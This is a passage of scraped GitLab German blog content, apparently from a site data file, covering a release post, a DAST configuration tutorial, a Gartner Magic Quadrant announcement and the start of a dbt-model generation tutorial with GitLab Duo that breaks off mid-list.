darum, das tägliche Erlebnis von Entwicklern reibungsloser, smarter und sicherer zu gestalten. Von wiederverwendbaren Agents bis zu business-bewussten Pipeline-Fixes ist jedes Feature darauf ausgelegt, Teams im Flow zu halten und gleichzeitig Geschwindigkeit, Sicherheit und Kontrolle auszubalancieren. Für einen tieferen Einblick, wie diese Funktionen in der Praxis zusammenkommen, schau dir unser Walkthrough-Video an.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1120288083?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"A day in the life with GitLab Duo Agent Platform\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\nGitLab Premium- und Ultimate-Nutzer können diese Funktionen heute auf [GitLab.com](https://GitLab.com) und in Self-Managed-Umgebungen nutzen, mit Verfügbarkeit für [GitLab Dedicated](https://about.gitlab.com/dedicated/)-Kunden nächsten Monat.\n\n> **Aktiviere Beta- und experimentelle Features in GitLab Duo Agent Platform heute** und erlebe, wie Full-Context-KI die Art und Weise transformieren kann, wie deine Teams Software bauen. Neu bei GitLab? [Starte deine kostenlose Testversion](https://about.gitlab.com/free-trial/devsecops/) und entdecke, warum die Zukunft der Entwicklung KI-gestützt, sicher und durch die weltweit umfassendste DevSecOps-Plattform orchestriert ist.\n\n## Bleib auf dem neuesten Stand mit GitLab\n\nUm sicherzustellen, dass du die neuesten Features, Sicherheitsupdates und Performance-Verbesserungen erhältst, empfehlen wir, deine GitLab-Instanz aktuell zu halten. Die folgenden Ressourcen können dir bei der Planung und Durchführung deines Upgrades helfen:\n\n* [Upgrade Path Tool](https://gitlab-com.gitlab.io/support/toolbox/upgrade-path/) – gib deine aktuelle Version ein und sieh die exakten Upgrade-Schritte für deine Instanz\n* [Upgrade-Dokumentation](https://docs.gitlab.com/update/upgrade_paths/) – detaillierte Anleitungen für jede unterstützte Version, einschließlich Anforderungen, Schritt-für-Schritt-Anweisungen und Best Practices\n\nDurch regelmäßige Upgrades stellst du sicher, dass dein Team von den neuesten GitLab-Funktionen profitiert und sicher und unterstützt bleibt.\n\nFür Organisationen, die einen Hands-off-Ansatz wünschen, bietet sich [GitLabs Managed Maintenance Service](https://content.gitlab.com/viewer/d1fe944dddb06394e6187f0028f010ad#1) an. Mit Managed Maintenance bleibt dein Team auf Innovation fokussiert, während GitLab-Experten deine Self-Managed-Instanz zuverlässig aktualisiert, sicher und bereit für die Führung in DevSecOps halten. Frage deinen Account Manager nach weiteren Informationen.\n\n*Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen\" im Sinne von Section 27A des Securities Act von 1933 in der geänderten Fassung und Section 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in diesen Aussagen reflektierten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass tatsächliche Ergebnisse oder Resultate wesentlich abweichen. Weitere Informationen zu diesen Risiken und anderen Faktoren findest du unter der Überschrift „Risk Factors\" in unseren Einreichungen bei der SEC. Wir übernehmen keine Verpflichtung, diese Aussagen nach dem Datum dieses Blogbeitrags zu aktualisieren oder zu überarbeiten, außer wenn gesetzlich erforderlich.*",[679,680,745,746],"features","DevSecOps platform",{"featured":92,"template":682,"slug":748},"gitlab-18-4-ai-native-development-with-automation-and-insight","content:de-de:blog:gitlab-18-4-ai-native-development-with-automation-and-insight.yml","Gitlab 18 4 Ai Native Development With Automation And Insight","de-de/blog/gitlab-18-4-ai-native-development-with-automation-and-insight.yml","de-de/blog/gitlab-18-4-ai-native-development-with-automation-and-insight",{"_path":754,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":755,"config":758,"content":760,"_id":770,"_type":16,"title":771,"_source":17,"_file":772,"_stem":773,"_extension":20},"/de-de/blog/comprehensive-guide-to-gitlab-dast",{"title":756,"description":757},"Systematische Anwendungssicherheit mit GitLab DAST: Compliance-Framework für deutsche Unternehmen","Wie Dynamic Application Security Testing (DAST) deutschen Unternehmen bei der systematischen Implementierung von Sicherheits-Governance und Compliance-Automation hilft.",{"slug":759,"featured":92,"template":682},"comprehensive-guide-to-gitlab-dast",{"title":756,"description":757,"authors":761,"heroImage":763,"date":764,"category":765,"tags":766,"body":769},[762],"Fernando Diaz","https://res.cloudinary.com/about-gitlab-com/image/upload/v1756122536/akivvcnafog9c4dhhzkp.png","2025-09-17","security",[765,767,768],"tutorial","testing","Moderne Unternehmen nutzen webbasierte Plattformen für Kundeninteraktionen, Finanztransaktionen und Geschäftsprozesse. Die digitale Transformation erweitert die Angriffsfläche dramatisch - Webanwendungen werden zu Hauptzielen für Cyberkriminelle.\n\nStatic Code Analysis erkennt nur Schwachstellen im Quellcode. Runtime-Sicherheitsprobleme bleiben verborgen, wenn Anwendungen mit realen Umgebungen, Drittanbieter-Services und Benutzer-Workflows interagieren. Dynamic Application Security Testing ([DAST](https://docs.gitlab.com/user/application_security/dast/)) schließt diese Lücke. GitLab DAST automatisiert Penetrationstests in CI/CD-Pipelines und validiert Sicherheit kontinuierlich ohne Workflow-Unterbrechung.\n\n## Warum DAST für deutsche Unternehmen?\n\nDAST testet Anwendungen in ihrer Betriebsumgebung und identifiziert Schwachstellen, die statische Analysen übersehen. GitLab DAST integriert sich in Shift-Left Security-Workflows und stärkt Compliance und Risikomanagement.\n\n### Runtime-Schwachstellen-Erkennung\n\nDAST identifiziert Sicherheitsschwachstellen in laufenden Anwendungen. DAST-Scanner interagieren mit Live-Anwendungen wie externe Angreifer und decken Probleme auf wie:\n\n- **Authentifizierungs- und Session-Fehler**, die unbefugten Zugang ermöglichen\n- **Schwachstellen bei der Eingabevalidierung**, einschließlich SQL-Injection, Cross-Site-Scripting (XSS) und Command-Injection\n- **Konfigurationsschwächen** in Webservern, Datenbanken und Anwendungs-Frameworks\n- **Fehler in der Geschäftslogik** aus Benutzerinteraktionen\n- **API-Sicherheitsprobleme**, einschließlich unsachgemäßer Authentifizierung, Autorisierung und Datenexposition\n\nDAST ergänzt andere Sicherheitstest-Ansätze für umfassende Anwendungssicherheits-Abdeckung. In Kombination mit Static Application Security Testing ([SAST](https://docs.gitlab.com/user/application_security/sast/)), Software Composition Analysis ([SCA](https://docs.gitlab.com/user/application_security/dependency_scanning/)), manuellen Penetrationstests und [vielen anderen Scanner-Typen](https://about.gitlab.com/solutions/application-security-testing/) füllt DAST kritische Lücken in der Sicherheitsvalidierung:\n\n- **Externe Testperspektive**, die reale Angriffsszenarien nachahmt\n- **Umgebungsspezifische Tests**, die Sicherheit in tatsächlichen Produktionsumgebungen validieren\n- **Drittanbieter-Komponenten-Tests**, einschließlich APIs, Bibliotheken und externe Services\n- **Konfigurationsvalidierung** über den gesamten Anwendungsstack hinweg\n\n### Nahtlose Shift-Left Security Integration\n\nGitLab DAST integriert sich in CI/CD-Pipelines und identifiziert Sicherheitsprobleme früh im Entwicklungszyklus. Dieser Shift-Left-Ansatz bietet Vorteile:\n\n- **Kostensenkung** – Schwachstellen während der Entwicklung zu beheben kostet 10 bis 100 Mal weniger als Korrekturen in der Produktion.\n- **Schnellere Markteinführung** – Tests eliminieren Engpässe durch manuelle Security-Reviews.\n- **Entwickler-Stärkung** – Sofortiges Feedback baut Sicherheitsbewusstsein auf.\n\n### Compliance und Risikomanagement\n\nRegulierungsrahmen und Industriestandards fordern regelmäßige Sicherheitstests von Webanwendungen. DAST erfüllt Compliance-Anforderungen für Standards wie:\n\n- **PCI DSS** für Anwendungen, die Zahlungskartensdaten verarbeiten\n- **SOC 2** Sicherheitskontrollen für Service-Organisationen\n- **ISO 27001** Informationssicherheits-Management-Anforderungen\n\nGitLab DAST automatisiert Tests konsistent und wiederholbar. Auditoren vertrauen den Ergebnissen, während Berichte die nötige Dokumentation für Compliance-Validierung liefern.\n\n## DAST implementieren\n\nVor der Implementierung von GitLab DAST stellen Sie sicher, dass Ihre Umgebung folgende Anforderungen erfüllt:\n\n- **GitLab Version und Ultimate-Abonnement** – DAST ist in [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) verfügbar und benötigt GitLab 13.4 oder später für volle Funktionalität; jedoch wird die [neueste Version](https://about.gitlab.com/releases/categories/releases/) empfohlen.\n- **Anwendungszugänglichkeit** – Ihre Anwendung muss über HTTP/HTTPS mit einer öffentlich erreichbaren URL oder innerhalb des Netzwerks Ihres GitLab Runners zugänglich sein.\n- **Authentifizierung-Setup** – Falls Ihre Anwendung Authentifizierung erfordert, bereiten Sie Test-Credentials vor oder konfigurieren Sie Authentifizierungs-Bypass-Mechanismen für Sicherheitstests.\n\n### Systematische DAST-Integration: Drei Konfigurationsebenen\n\n**Grundkonfiguration für sofortigen Start:**\nDie einfachste DAST-Integration erfolgt durch Template-Einbindung in Ihre [`.gitlab-ci.yml`](https://docs.gitlab.com/ci/#step-1-create-a-gitlab-ciyml-file) Datei:\n\n```yaml\ninclude:\n  - template: DAST.gitlab-ci.yml\n\nvariables:\n  DAST_WEBSITE: \"https://your-application.example.com\"\n```\n\nDiese Basiskonfiguration wird:\n- Einen DAST-Scan gegen Ihre spezifizierte Website ausführen\n- Einen Sicherheitsbericht in GitLabs Security Dashboard generieren\n- Die Pipeline fehlschlagen lassen, falls hochschwere Schwachstellen erkannt werden\n- Scan-Ergebnisse als Pipeline-Artefakte speichern\n\n**Systematische Pipeline-Integration:**\nFür umfassende CI/CD-Vorteile können Sie zuerst die Anwendung deployen und DAST so konfigurieren, dass es nur nach erfolgtem Deployment läuft:\n\n```yaml\nstages:\n  - build\n  - deploy\n  - dast\n\ninclude:\n  - template: Security/DAST.gitlab-ci.yml\n\n# Konfiguriert DAST für aktive Scans auf Nicht-Main-Branches und passive Scans auf Main-Branch\ndast:\n  stage: dast\n  rules:\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      variables:\n        DAST_FULL_SCAN: \"false\"\n    - if: $CI_COMMIT_REF_NAME != $CI_DEFAULT_BRANCH\n      variables:\n        DAST_FULL_SCAN: \"true\"\n  dependencies:\n    - deploy\n```\n\n### Passive vs. Active Scanning verstehen\n\nGitLab DAST verwendet zwei unterschiedliche Scanning-Methodologien (passiv und aktiv), die jeweils verschiedene Sicherheitstest-Bedürfnisse erfüllen.\n\n**Passive Scans** analysieren Server-Antworten ohne das Senden potenziell schädlicher Anfragen:\n- Untersuchen HTTP-Headers, Cookies und Antwortinhalte auf Sicherheits-Fehlkonfigurationen\n- Identifizieren Information-Disclosure-Schwachstellen wie exponierte Server-Versionen\n- Erkennen fehlende Sicherheits-Headers (CSP, HSTS, X-Frame-Options)\n- Analysieren SSL/TLS-Konfiguration und Zertifikatsprobleme\n\n**Active Scans** senden gestaltete Anfragen, die Schwachstellen auslösen sollen:\n- Testen auf Injection-Schwachstellen (SQL-Injection, XSS, Command-Injection)\n- Versuchen Authentifizierungs- und Autorisierungs-Fehler auszunutzen\n- Validieren Input-Sanitization und Output-Encoding\n- Testen auf Business-Logic-Schwachstellen\n\n**Hinweis:** Der DAST-Scanner ist standardmäßig auf passiv eingestellt.\n\n### Authentifizierungs-Konfiguration\n\n**Enterprise-Authentifizierung für vollständige Abdeckung:**\nDAST benötigt Authentifizierungs-Konfiguration für umfassende Sicherheitsabdeckung:\n\n```yaml\nvariables:\n  DAST_AUTH_USERNAME: \"admin@tanuki.local\"\n  DAST_AUTH_PASSWORD: \"admin123\"\n  DAST_AUTH_USERNAME_FIELD: \"css:input[id=email]\"\n  DAST_AUTH_PASSWORD_FIELD: \"css:input[id=password]\"\n  DAST_AUTH_SUBMIT_FIELD: \"css:button[id=loginButton]\"\n  DAST_AUTH_REPORT: \"true\"\n  DAST_REQUEST_COOKIES: \"welcomebanner_status:dismiss\"\n```\n\nVerfügbare Authentifizierungs-Optionen:\n- Einstufige Login-Formulare\n- Mehrstufige Login-Formulare\n- Authentifizierung zu URLs außerhalb des Zielbereichs\n\n## Ergebnisse in Merge Requests anzeigen\n\nGitLabs DAST integriert Sicherheits-Scanning nahtlos in Ihren Entwicklungsworkflow durch direkte Anzeige der Ergebnisse in Merge Requests. Diese umfassen umfassende Schwachstellen-Daten, die Entwicklern helfen, Sicherheitsprobleme vor der Integration zu identifizieren und zu beheben.\n\n### Schwachstellen-Details\n* Schwachstellen-Name und -Typ (z.B. SQL-Injection, XSS, CSRF)\n* Schweregrad (Critical, High, Medium, Low, Info)\n* CVSS-Score wenn anwendbar\n* Common Weakness Enumeration (CWE) Identifier\n* Vertrauensniveau des Befunds\n\n### Standort-Informationen\n* URL/Endpoint, wo die Schwachstelle erkannt wurde\n* Verwendete HTTP-Methode (GET, POST, etc.)\n* Request/Response-Details der verwundbaren Interaktion\n* Parameter-Namen, die verwundbar sind\n* Nachweis der Schwachstelle\n\n## Systematische Schwachstellen-Governance\n\nSchwachstellen im Default-Branch verwalten Sie über den GitLab Vulnerability Report - ein zentralisiertes Dashboard, das alle Sicherheitsbefunde über Ihr Projekt oder Organisation zeigt. Diese Ansicht sammelt alle Sicherheitstest-Ergebnisse und bietet Filter- und Sortier-Funktionen, um Behebungsmaßnahmen zu priorisieren.\n\nDie Vulnerability-Seite bietet umfassende Schwachstellen-Daten. Von hier aus können Sie Schwachstellen durch Status-Zuweisung triagieren:\n\n* Needs triage (Standard)\n* Confirmed\n* Dismissed (Acceptable risk, False positive, Mitigating control, Used in tests, Not applicable)\n* Resolved\n\nWenn ein Schwachstellen-Status geändert wird, enthält das Audit-Log eine Notiz darüber, wer es geändert hat, wann es geändert wurde und den Grund für die Änderung. Dieses umfassende System ermöglicht Sicherheitsteams effiziente Priorisierung, Tracking und Management von Schwachstellen während ihres gesamten Lebenszyklus.\n\n## On-Demand und geplante DAST-Scans\n\nGitLab bietet flexible Scanning-Optionen über Standard-CI/CD-Pipeline-Integration hinaus durch On-Demand und geplante DAST-Scans. On-Demand-Scans ermöglichen Sicherheitsteams und Entwicklern, DAST-Tests manuell bei Bedarf zu initiieren, ohne auf Code-Änderungen oder Pipeline-Trigger zu warten.\n\nOn-Demand-Scans können mit benutzerdefinierten Parametern, Ziel-URLs und Scanning-Profilen konfiguriert werden. Geplante DAST-Scans bieten automatisierte, zeitbasierte Sicherheitstests unabhängig vom Entwicklungsworkflow.\n\n## DAST in Compliance-Workflows\n\nGitLabs Security-Policy-Framework ermöglicht Organisationen die Durchsetzung konsistenter Sicherheitsstandards über alle Projekte hinweg. Sicherheitsrichtlinien ermöglichen zentrale Governance von DAST-Scanning-Anforderungen.\n\n**Scan/Pipeline Execution Policies** können konfiguriert werden, um DAST-Scans automatisch basierend auf spezifischen Bedingungen auszulösen. **Merge Request Approval Policies** bieten eine zusätzliche Sicherheits-Governance-Ebene durch erzwungene menschliche Review für Code-Änderungen, die Sicherheit beeinträchtigen könnten.\n\nFür Compliance bietet GitLab [Security Inventory](https://docs.gitlab.com/user/application_security/security_inventory/) und [Compliance Center](https://docs.gitlab.com/user/compliance/compliance_center/), die Ihnen ermöglichen zu überwachen, ob DAST in Ihrer Umgebung läuft und wo es erforderlich ist.\n\n## Zusammenfassung\n\nGitLab DAST stellt eine mächtige Lösung für die Integration dynamischer Sicherheitstests in moderne Entwicklungsworkflows dar. Durch DAST-Implementierung in Ihrer CI/CD-Pipeline gewinnt Ihr Team die Fähigkeit, Runtime-Schwachstellen automatisch zu erkennen, Compliance mit Sicherheitsstandards aufrechtzuerhalten und sicherere Anwendungen ohne Geschwindigkeitseinbußen zu erstellen.\n\nDer Schlüssel zur erfolgreichen DAST-Implementierung liegt darin, mit Grundkonfiguration zu beginnen und schrittweise zu sophistizierteren Scanning-Profilen entsprechend Ihrer Sicherheits-Reife zu expandieren. Beginnen Sie mit einfachem Website-Scanning, fügen Sie dann progressiv Authentifizierung, Custom Exclusions und erweiterte Berichte hinzu.\n\nDenken Sie daran, dass DAST am effektivsten ist, wenn es mit anderen Sicherheitstest-Ansätzen kombiniert wird. Verwenden Sie es neben statischer Analyse, Dependency-Scanning und manuellen Security-Reviews für eine umfassende Sicherheitstest-Strategie.\n\n> **Für detaillierte Implementierungsschritte, Authentifizierungs-Konfiguration und technische Setup-Anleitungen siehe den [umfassenden englischen Implementierungsguide](https://about.gitlab.com/blog/comprehensive-guide-to-gitlab-dast/).**\n","content:de-de:blog:comprehensive-guide-to-gitlab-dast.yml","Comprehensive Guide To Gitlab Dast","de-de/blog/comprehensive-guide-to-gitlab-dast.yml","de-de/blog/comprehensive-guide-to-gitlab-dast",{"_path":775,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":776,"content":780,"config":788,"_id":790,"_type":16,"title":791,"_source":17,"_file":792,"_stem":793,"_extension":20},"/de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants",{"config":777,"title":778,"description":779},{"noIndex":6},"GitLab ist ein Leader im 2025 Gartner Magic Quadrant","GitLab wurde als ein Leader im 2025 Gartner® Magic Quadrant™ für AI Code Assistants für Vision und Ausführung ausgezeichnet.",{"title":781,"description":782,"heroImage":783,"authors":784,"date":764,"body":785,"category":723,"tags":786},"GitLab als Leader im 2025 Gartner Magic Quadrant für AI Code Assistants ausgezeichnet","GitLab wurde erneut als Leader im 2025 Gartner® Magic Quadrant™ für AI Code Assistants für Vision und Execution genannt.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1757675943/q9kb7zfiw1cyxx9fcafp.png",[719],"GitLab wurde zum zweiten Mal als Leader im 2025 Gartner® Magic Quadrant™ für AI Code Assistants ausgezeichnet. Diese Anerkennung bestätigt einen zentralen Pfeiler unserer umfassenden KI-Strategie: Die Evolution von intelligenter Code-Unterstützung zu einer ganzheitlichen KI, die die Art und Weise transformiert, wie Teams Software planen, entwickeln, sichern und bereitstellen.\n\n![2025 Gartner® Magic Quadrant™ für AI Code Assistants](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758121248/jfkmhddve6qvlg79xico.png)\n\n> [Report herunterladen.](https://about.gitlab.com/gartner-mq-ai-code-assistants/)\n\n## Von KI-Funktionen zu intelligenter Zusammenarbeit\n\nDie Gartner-Evaluierung konzentrierte sich unserer Ansicht nach auf die generativen KI-Code-Assistenz-Funktionen von GitLab Duo. Während GitLab Duo als KI-Add-on zur GitLab DevSecOps-Plattform begann, legte es den Grundstein für unsere heutige Entwicklung: Agentic AI, die nativ in die GitLab DevSecOps-Plattform integriert ist.\n\nDie [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) ermöglicht es Entwickler(inne)n, gemeinsam mit mehreren KI-Agenten zu arbeiten, die Aufgaben über den gesamten Software-Lebenszyklus automatisieren. Agenten kollaborieren miteinander und mit Menschen und nutzen dabei GitLabs Knowledge Graph, um mit vollständigem Projektkontext zu agieren. Dies befähigt Teams, schneller zu arbeiten und gleichzeitig Transparenz und Kontrolle zu bewahren.\n\n* **Spezialisierte Agenten** übernehmen parallel Aufgaben wie Code-Generierung, Sicherheitsanalyse und Research.\n* **Knowledge Graph** verbindet Agenten mit einem einheitlichen System of Record über Code, Issues, Pipelines und Compliance-Daten.\n* **Mensch + Agent Kollaboration** erfolgt über natürlichsprachlichen Chat und anpassbare Workflows mit integrierter Überprüfung und Kontrolle.\n* **Interoperabilität mit externen Tools und Systemen** wird durch Model Context Protocol (MCP) und Agent-zu-Agent-Frameworks unterstützt.\n\nWenn Agenten Routinearbeiten unter menschlicher Anleitung übernehmen, können Teams schneller arbeiten, sich auf wertvollere Aufgaben konzentrieren und Projekte sicher sowie compliant halten.\n\n## Security by Design, flexibel in der Praxis\n\nDie GitLab Duo Agent Platform wurde entwickelt, um Sicherheit und Compliance in den Mittelpunkt zu stellen. Agenten laufen innerhalb von GitLabs vertrauenswürdiger DevSecOps-Umgebung, wobei jede Aktion sichtbar und überprüfbar ist, bevor Änderungen vorgenommen werden. Sichere Integrationen gewährleisten, dass Credentials und sensible Daten geschützt verarbeitet werden, während Interoperabilität durch offene Standards Agenten mit externen Tools verbindet, ohne das Unternehmen Risiken auszusetzen.\n\nDie Plattform gibt Teams die Gewissheit, dass KI die Produktivität steigert, ohne die Governance zu kompromittieren. So funktioniert es:\n\n* **Entwickler(innen)** können sich auf komplexe, wirkungsvolle Arbeit konzentrieren, während sie Routineaufgaben an Agenten delegieren – für schnellere Ergebnisse und detaillierteren Kontext, der über ihre bestehenden Workflows bereitgestellt wird.\n* **Engineering-Führungskräfte** erhalten Einblick in die Bewegung der Arbeit über den Lebenszyklus, wobei Agenten innerhalb klarer Leitplanken operieren. Sie können zudem sicherstellen, dass ihre Teams auf Prioritäten ausgerichtet bleiben und das Onboarding durch Agent-gestützte Kontexte und Workflows vereinfachen.\n* **IT-Organisationen** behalten die Kontrolle über Agent-Aktivitäten mit Governance-Funktionen, die Coding- und Sicherheitsrichtlinien durchsetzen, Modellauswahlflexibilität bieten und sichere Interoperabilität gewährleisten – alles bei kontinuierlicher menschlicher Kontrolle.\n\n## Führend beim Übergang zur KI-nativen Entwicklung\n\nGitLab baut weiterhin auf der Vision auf, die mit Duo begann, und wird die GitLab Duo Agent Platform kontinuierlich mit neuen Agenten, erweiterten Workflows und mehr Orchestrierungsfunktionen ausbauen. Dieses Engagement für Innovation stellt sicher, dass die Produktivität deines Teams auf der Plattform gesteigert wird. Bleib gespannt auf kommende Updates zu unserer Roadmap. Wir revolutionieren weiterhin die KI-native DevSecOps.\n\n> [Den 2025 Gartner® Magic Quadrant™ für AI Code Assistants herunterladen](https://about.gitlab.com/de-de/gartner-mq-ai-code-assistants/) und [GitLab Duo Agent Platform heute ausprobieren](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/).\n\n*Quelle: Gartner, Magic Quadrant for AI Code Assistants, Philip Walsh, Haritha Khandabattu, Matt Brasier, Keith Holloway, Arun Batchu, 15. September 2025*\n\n*GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen Tochtergesellschaften in den USA und international, und MAGIC QUADRANT ist eine eingetragene Marke von Gartner, Inc. und/oder seinen Tochtergesellschaften und wird hier mit Genehmigung verwendet. Alle Rechte vorbehalten.*\n\n*Gartner unterstützt keinen Anbieter, kein Produkt oder keine Dienstleistung, die in seinen Forschungspublikationen dargestellt werden, und rät Technologieanwendern nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Auszeichnungen auszuwählen. Gartner-Forschungspublikationen bestehen aus den Meinungen der Gartner-Forschungsorganisation und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Garantien in Bezug auf diese Forschung ab, einschließlich aller Garantien der Marktgängigkeit oder Eignung für einen bestimmten Zweck.*\n\n*Diese Grafik wurde von Gartner Inc. als Teil eines größeren Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage von Gartner B.V. erhältlich.*",[680,723,787],"DevSecOps",{"featured":92,"template":682,"slug":789},"gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants","content:de-de:blog:gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants.yml","Gitlab Named A Leader In The 2025 Gartner Magic Quadrant For Ai Code Assistants","de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants.yml","de-de/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants",{"_path":795,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":796,"content":799,"config":808,"_id":810,"_type":16,"title":811,"_source":17,"_file":812,"_stem":813,"_extension":20},"/de-de/blog/how-gitlab-duo-agent-platform-transforms-dataops",{"title":797,"description":798},"Wie GitLab Duo Agent Platform DataOps transformiert","Erfahre, wie du manuelle Programmierung in voll automatisierte Generierung verwandelst – am Beispiel der dbt-Modellerstellung.",{"title":800,"description":801,"authors":802,"heroImage":804,"date":805,"category":677,"tags":806,"body":807},"Wie du mit der GitLab Duo Agent Platform deine DataOps transformiert","So wird aus manueller Programmierung eine vollautomatische Generierung, erklärt am Beispiel der dbt-Modellerstellung.",[803],"Dennis van Rooijen","blog/hero%20images/workflow_1800x945.png","2025-09-16",[680,767,745],"Die manuelle Erstellung von dbt-Modellen ist ein mühsamer Prozess, der\nStunden an Arbeitszeit verschlingt. Besonders wenn keine (größeren)\nGeschäftstransformationen vorgenommen werden, gehört diese Aufgabe nicht zu\nden attraktivsten Tätigkeiten eines Dateningenieurs.\n\n\nAber was wäre, wenn du diesen gesamten Prozess automatisieren könntest? In dieser Anleitung zeige ich dir genau, wie [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) umfassende dbt-Modelle in nur wenigen Minuten generiert – komplett mit ordnungsgemäßer Struktur, Tests und Dokumentation.\n\n\n## Was wir aufbauen\n\n\nUnser Marketing-Team möchte Werbeinvestitionen effektiv verwalten und optimieren. Eine der Werbeplattformen ist Reddit, daher extrahieren wir Daten von der Reddit Ads API in unsere unternehmensweite [Datenplattform](https://handbook.gitlab.com/handbook/enterprise-data/platform/) Snowflake. Bei GitLab haben wir drei Speicherebenen:\n\n\n1. `raw`-Ebene – erster Landepunkt für unverarbeitete Daten aus externen Quellen; noch nicht für geschäftliche Nutzung bereit\n\n2. `prep`-Ebene – erste Transformationsebene mit Quellmodellen; noch nicht für allgemeine geschäftliche Nutzung bereit\n\n3. `prod`-Ebene – final transformierte Daten, bereit für geschäftliche Nutzung und Tableau-Berichte\n\n\n![Diagramm der Speicherebenen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758030995/zo7vespktzfdtdtiauz7.png)\n\n\nFür diese Anleitung sind die Daten bereits durch unsere Extraktionslösung Fivetran in der raw-Ebene gelandet, und wir werden dbt-Modelle generieren, die die Daten von der `prep`-Ebene zur `prod`-Ebene verarbeiten.\n\n\nOhne eine einzige Zeile dbt-Code selbst schreiben zu müssen, werden wir am Ende der Anleitung Folgendes haben:\n\n\n* **Quellmodelle** in der prep-Ebene\n\n* **Workspace-Modelle** in der prod-Ebene\n\n* **Vollständige dbt-Konfigurationen** für alle 13 Tabellen (einschließlich 112 Spalten) im Reddit Ads-Datensatz\n\n* **Test-Abfragen** zur Validierung der Ergebnisse\n\n\nDer gesamte Prozess dauert weniger als 10 Minuten – im Vergleich zu den Stunden, die normalerweise dafür benötigt würden. Hier sind die zu befolgenden Schritte:\n\n\n## 1. Die Datenstruktur vorbereiten\n\n\nBevor GitLab Duo unsere Modelle generieren kann, muss es die vollständige Tabellenstruktur verstehen. Der Schlüssel liegt darin, eine Abfrage gegen Snowflakes Informationsschema auszuführen, da wir derzeit untersuchen, wie wir GitLab Duo über das Model Context Protocol ([MCP](https://about.gitlab.com/topics/ai/model-context-protocol/)) mit unserer Snowflake-Instanz verbinden können:\n\n\n```sql\n\nSELECT \n    table_name,\n    column_name,\n    data_type,\n    is_nullable,\n    CASE \n        WHEN is_nullable = 'NO' THEN 'PRIMARY_KEY'\n        ELSE NULL \n    END as key_type\nFROM raw.information_schema.columns\n\nWHERE table_schema = 'REDDIT_ADS'\n\nORDER BY table_name, ordinal_position;\n\n```\n\n\nDiese Abfrage erfasst:\n\n\n* Alle Tabellen- und Spaltennamen\n\n* Datentypen für die korrekte Modellstruktur\n\n* Nullable-Einschränkungen\n\n* Primärschlüssel-Identifikation (nicht-nullable Spalten in diesem Datensatz)\n\n\n**Profi-Tipp:** Im Reddit Ads-Datensatz dienen alle nicht-nullable Spalten als Primärschlüssel – ein Muster. Ich habe dies überprüft, indem ich Tabellen wie `ad_group` kontrollierte, die zwei nicht-nullable Spalten (`account_id` und `id`) hat, die beide als Primärschlüssel markiert sind. Die Ausführung dieser Abfrage lieferte 112 Zeilen Metadaten, die ich als CSV-Datei für die Modellgenerierung exportierte. Während dieser manuelle Schritt heute gut funktioniert, untersuchen wir eine direkte Integration von GitLab Duo mit unserer Datenplattform über MCP, um diesen Prozess vollständig zu automatisieren.\n\n\n## 2. GitLab Duo einrichten\n\n\nEs gibt zwei Möglichkeiten, mit [GitLab Duo](https://docs.gitlab.com/user/get_started/getting_started_gitlab_duo/) zu interagieren:\n\n\n1. **Web-UI-Chat-Funktion**\n\n2. **Visual Studio Code-Plugin**\n\n\nIch habe mich für das VS Code-Plugin entschieden, da ich die dbt-Modelle lokal ausführen kann, um sie zu testen.\n\n\n## 3. Den 'magischen' Prompt eingeben\n\n\nHier ist der exakte Prompt, den ich zur Generierung des gesamten dbt-Codes verwendet habe:\n\n\n```yaml\n\nCreate dbt models for all the tables in the file structure.csv.\n\n\nI want to have the source models created, with a filter that dedupes the data based on the primary key. Create these in a new folder reddit_ads.\n\nI want to have workspace models created and store these in the workspace_marketing schema.\n\n\nTake this MR as example: [I've referenced to previous source implementation]. Here is the same done for Source A, but now it needs to be done for Reddit Ads. \n\n\nPlease check the dbt style guide when creating the code: https://handbook.gitlab.com/handbook/enterprise-data/platform/dbt-guide/\n\n```\n\n\nSchlüsselelemente, die diesen Prompt effektiv machten:\n\n\n* **Klare Spezifikationen** für sowohl Quell- als auch Workspace-Modelle\n\n* **Referenzbeispiel** aus einem vorherigen ähnlichen Merge Request\n\n* **Style Guide-Referenz** zur Sicherstellung von Codequalität und Konsistenz\n\n* **Spezifisches Schema-Targeting** für ordnungsgemäße Organisation\n\n\n## 4. GitLab Duos Prozess\n\n\nNach dem Einreichen des Prompts machte sich GitLab Duo an die Arbeit. Der gesamte Generierungsprozess dauerte einige Minuten, während dessen GitLab Duo:\n\n\n1. 